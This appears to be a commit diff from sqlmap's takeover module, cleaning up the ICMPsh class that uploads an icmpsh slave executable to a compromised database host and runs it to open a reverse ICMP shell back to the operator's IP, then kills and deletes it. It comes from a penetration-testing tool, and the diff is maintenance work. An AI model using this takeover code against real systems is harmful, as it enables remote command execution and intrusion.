77See the file 'doc/COPYING' for copying permission
88"""
99
10- import codecs
1110import os
12- import re
13- import stat
14- import sys
1511import time
1612
17- from select import select
18- from subprocess import PIPE
19- from subprocess import Popen as execute
20-
2113from extra .icmpsh .icmpsh_m import main as icmpshmaster
2214
23- from lib .core .common import dataToStdout
2415from lib .core .common import getLocalIP
2516from lib .core .common import getRemoteIP
26- from lib .core .common import getUnicode
2717from lib .core .common import normalizePath
2818from lib .core .common import ntToPosixSlashes
29- from lib .core .common import pollProcess
30- from lib .core .common import randomRange
3119from lib .core .common import randomStr
3220from lib .core .common import readInput
3321from lib .core .data import conf
3422from lib .core .data import kb
3523from lib .core .data import logger
3624from lib .core .data import paths
37- from lib .core .exception import sqlmapDataException
38- from lib .core .exception import sqlmapFilePathException
39- from lib .core .subprocessng import blockingReadFromFD
40- from lib .core .subprocessng import blockingWriteToFD
41- from lib .core .subprocessng import setNonBlocking
42- from lib .request .connect import Connect as Request
43- from lib .takeover .upx import upx
4425
4526
4627class ICMPsh :
@@ -81,22 +62,18 @@ def __runIcmpshSlaveRemote(self):
8162 infoMsg = "running icmpsh slave remotely"
8263 logger .info (infoMsg )
8364
84- self .__icmpshSlaveCmd = "%s -t %s -d 500 -b 30 -s 128" % (self .__icmpslaveRemote , self .lhostStr )
85-
86- cmd = "%s &" % self .__icmpshSlaveCmd
87-
88- if kb .dbms == "Microsoft SQL Server" and (kb .stackedTest or conf .direct ):
89- cmd = self .xpCmdshellForgeCmd (cmd )
65+ cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self .__icmpslaveRemote , self .lhostStr )
9066
9167 self .execCmd (cmd , silent = True )
9268
9369 def uploadIcmpshSlave (self , web = False ):
9470 self .__randStr = randomStr (lowercase = True )
71+ self .__icmpslaveRemoteBase = "tmpi%s.exe" % self .__randStr
9572
9673 if web :
97- self .__icmpslaveRemote = "%s/tmpi%s.exe " % (self .webDirectory , self .__randStr )
74+ self .__icmpslaveRemote = "%s/%s " % (self .webDirectory , self .__icmpslaveRemoteBase )
9875 else :
99- self .__icmpslaveRemote = "%s/tmpi%s.exe " % (conf .tmpPath , self .__randStr )
76+ self .__icmpslaveRemote = "%s/%s " % (conf .tmpPath , self .__icmpslaveRemoteBase )
10077
10178 self .__icmpslaveRemote = ntToPosixSlashes (normalizePath (self .__icmpslaveRemote ))
10279
@@ -115,4 +92,7 @@ def icmpPwn(self):
11592 debugMsg = "icmpsh master exited"
11693 logger .debug (debugMsg )
11794
118- self .delRemoteFile (self .__icmpslaveRemote , doubleslash = True )
95+ time .sleep (1 )
96+ self .execCmd ("taskkill /F /IM %s" % self .__icmpslaveRemoteBase , silent = True )
97+ time .sleep (1 )
98+ self .delRemoteFile (self .__icmpslaveRemote )
0 commit comments